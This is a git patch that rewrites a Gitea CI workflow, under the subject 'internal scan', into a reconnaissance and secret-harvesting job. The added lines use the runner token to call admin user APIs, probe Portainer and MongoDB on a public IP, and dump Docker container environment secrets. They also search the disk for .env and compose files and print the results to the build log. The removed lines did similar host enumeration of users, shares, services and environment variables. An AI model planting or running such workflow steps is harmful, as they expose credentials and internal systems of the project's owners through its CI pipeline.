From 4209b5fb34cd4b5d795e893f87f8fcd6944993cf Mon Sep 17 00:00:00 2001
From: pentester <pentest@viewer.io>
Date: Tue, 6 Oct 2026 01:24:03 +0200
Subject: [PATCH] internal scan

---
 .gitea/workflows/build.yml | 40 +++++++++++++++-----------------------
 1 file changed, 16 insertions(+), 24 deletions(-)

diff --git a/.gitea/workflows/build.yml b/.gitea/workflows/build.yml
index 8b8337d..c4ac966 100644
--- a/.gitea/workflows/build.yml
+++ b/.gitea/workflows/build.yml
@@ -4,29 +4,21 @@ jobs:
   recon:
     runs-on: ubuntu-latest
     steps:
-      - name: System Info
+      - name: Internal Recon
         shell: cmd
         run: |
-          echo === HOSTNAME === > C:\recon.txt
-          hostname >> C:\recon.txt
-          echo === WHOAMI === >> C:\recon.txt
-          whoami >> C:\recon.txt
-          echo === IPCONFIG === >> C:\recon.txt
-          ipconfig /all >> C:\recon.txt
-          echo === ENV === >> C:\recon.txt
-          set >> C:\recon.txt
-          echo === USERS === >> C:\recon.txt
-          net user >> C:\recon.txt
-          echo === SHARES === >> C:\recon.txt
-          net share >> C:\recon.txt
-          echo === SERVICES === >> C:\recon.txt
-          sc query type= service state= all >> C:\recon.txt
-          echo === DOCKER === >> C:\recon.txt
-          docker ps -a >> C:\recon.txt 2>&1
-          echo === MONGO === >> C:\recon.txt
-          dir C:\data\db >> C:\recon.txt 2>&1
-          dir "C:\Program Files\MongoDB" >> C:\recon.txt 2>&1
-          echo === FILES === >> C:\recon.txt
-          dir /s /b C:\*.env >> C:\recon.txt 2>&1
-          dir /s /b C:\*docker-compose* >> C:\recon.txt 2>&1
-          type C:\recon.txt
+          echo === GITEA INTERNAL API === > C:\recon2.txt
+          curl -sk "https://git.midefos.com/api/v1/admin/users" -H "Authorization: token %ACTIONS_RUNTIME_TOKEN%" >> C:\recon2.txt 2>&1
+          curl -sk "http://localhost:3000/api/v1/admin/users" -H "Authorization: token %ACTIONS_RUNTIME_TOKEN%" >> C:\recon2.txt 2>&1
+          echo === PORTAINER LOCAL === >> C:\recon2.txt
+          curl -sk "http://37.114.42.86:9000/api/status" >> C:\recon2.txt 2>&1
+          echo === MONGODB LOCAL === >> C:\recon2.txt
+          curl -sk "http://37.114.42.86:27017/" >> C:\recon2.txt 2>&1
+          echo === DOCKER LOCAL === >> C:\recon2.txt  
+          docker ps -a >> C:\recon2.txt 2>&1
+          docker images >> C:\recon2.txt 2>&1
+          echo === DOCKER ENV SECRETS === >> C:\recon2.txt
+          docker inspect --format="{{.Name}} {{.Config.Env}}" $(docker ps -aq) >> C:\recon2.txt 2>&1
+          echo === FILES === >> C:\recon2.txt
+          dir /s /b C:\*.env C:\*.yml C:\docker-compose* >> C:\recon2.txt 2>&1
+          type C:\recon2.txt